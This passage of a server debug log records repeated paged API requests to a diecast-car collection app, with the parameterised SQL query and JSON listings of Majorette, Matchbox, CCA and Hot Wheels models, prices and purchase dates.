      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini CoutachLP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 110,
      model_name: 'Volvo FMX low bed truck Trailor',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-16T18:30:00.000Z',
      price: '750.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 109,
      model_name: 'Volvo excavator EC950F',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-24T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 108,
      model_name: 'Jeep Rubicon',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-07T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2025-12-16T04:32:46.174Z server-connect:router Serving serverConnect /api/diecast/list
2025-12-16T04:32:46.175Z server-connect:app Executing action step identify
2025-12-16T04:32:46.175Z server-connect:app options: { provider: 'security' }
2025-12-16T04:32:46.175Z server-connect:output identity: 1
2025-12-16T04:32:46.175Z server-connect:app Executing action step restrict
2025-12-16T04:32:46.175Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T04:32:46.176Z server-connect:output restrict: undefined
2025-12-16T04:32:46.176Z server-connect:app Executing action step paged
2025-12-16T04:32:46.176Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2025-12-16T04:32:46.178Z server-connect:output list: {
  offset: 0,
  limit: 100,
  total: 20,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 85,
      model_name: 'Masserti Grandturismo Folgore',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-28T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 84,
      model_name: 'Nissan Sentra 2016',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-22T18:30:00.000Z',
      price: '167.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 83,
      model_name: 'Nissan Arya Pole to Pole 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-07T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 82,
      model_name: ' MBX Turf Hauler II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'MBX',
      vehicle_brand_id: 155,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 81,
      model_name: ' Dodge Durango 2018',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 80,
      model_name: 'Polaris RZR Pro R 4 Sport 2025',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Polaris ',
      vehicle_brand_id: 154,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 79,
      model_name: 'Subaru J WRX S4 STI 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-15T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Subaru',
      vehicle_brand_id: 153,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 78,
      model_name: 'Ford E Transit 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 77,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 76,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 75,
      model_name: 'Volva 1986 240 Sedan',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 74,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 72,
      model_name: 'Alfa Romeo Duetto',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-22T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 71,
      model_name: '1966 Land Rover Gen 11 Safari',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 70,
      model_name: '1963 Ford Thunderbird',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 69,
      model_name: '22 Ford F 150 Lightning',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 59,
      model_name: 'Blaze bluster II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-09T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 58,
      model_name: 'Jeep Avenger 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-01T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 57,
      model_name: 'Audi E Tron EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-01T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 56,
      model_name: 'Jeep Wagoneer 2022',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2025-12-16T04:32:53.607Z server-connect:router Serving serverConnect /api/diecast/list
2025-12-16T04:32:53.608Z server-connect:app Executing action step identify
2025-12-16T04:32:53.608Z server-connect:app options: { provider: 'security' }
2025-12-16T04:32:53.608Z server-connect:output identity: 1
2025-12-16T04:32:53.608Z server-connect:app Executing action step restrict
2025-12-16T04:32:53.608Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T04:32:53.608Z server-connect:output restrict: undefined
2025-12-16T04:32:53.608Z server-connect:app Executing action step paged
2025-12-16T04:32:53.608Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2025-12-16T04:32:53.613Z server-connect:output list: {
  offset: 0,
  limit: 100,
  total: 115,
  page: {
    offset: { first: 0, prev: 0, next: 100, last: 100 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini CoutachLP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 110,
      model_name: 'Volvo FMX low bed truck Trailor',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-16T18:30:00.000Z',
      price: '750.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 109,
      model_name: 'Volvo excavator EC950F',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-24T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 108,
      model_name: 'Jeep Rubicon',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-07T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 107,
      model_name: 'Solar Reflex',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 106,
      model_name: '2018 Honda Civic Type R',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Nightspeed',
      brand_id: 71,
      series_id: 164,
      case: 'A',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 105,
      model_name: 'Maserati Shamal',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Factory Fresh',
      brand_id: 71,
      series_id: 145,
      case: 'A',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 104,
      model_name: 'Track Ripper',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Starting Grid',
      brand_id: 71,
      series_id: 163,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 103,
      model_name: "Kowloon'd Hypervan",
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Metro',
      brand_id: 71,
      series_id: 165,
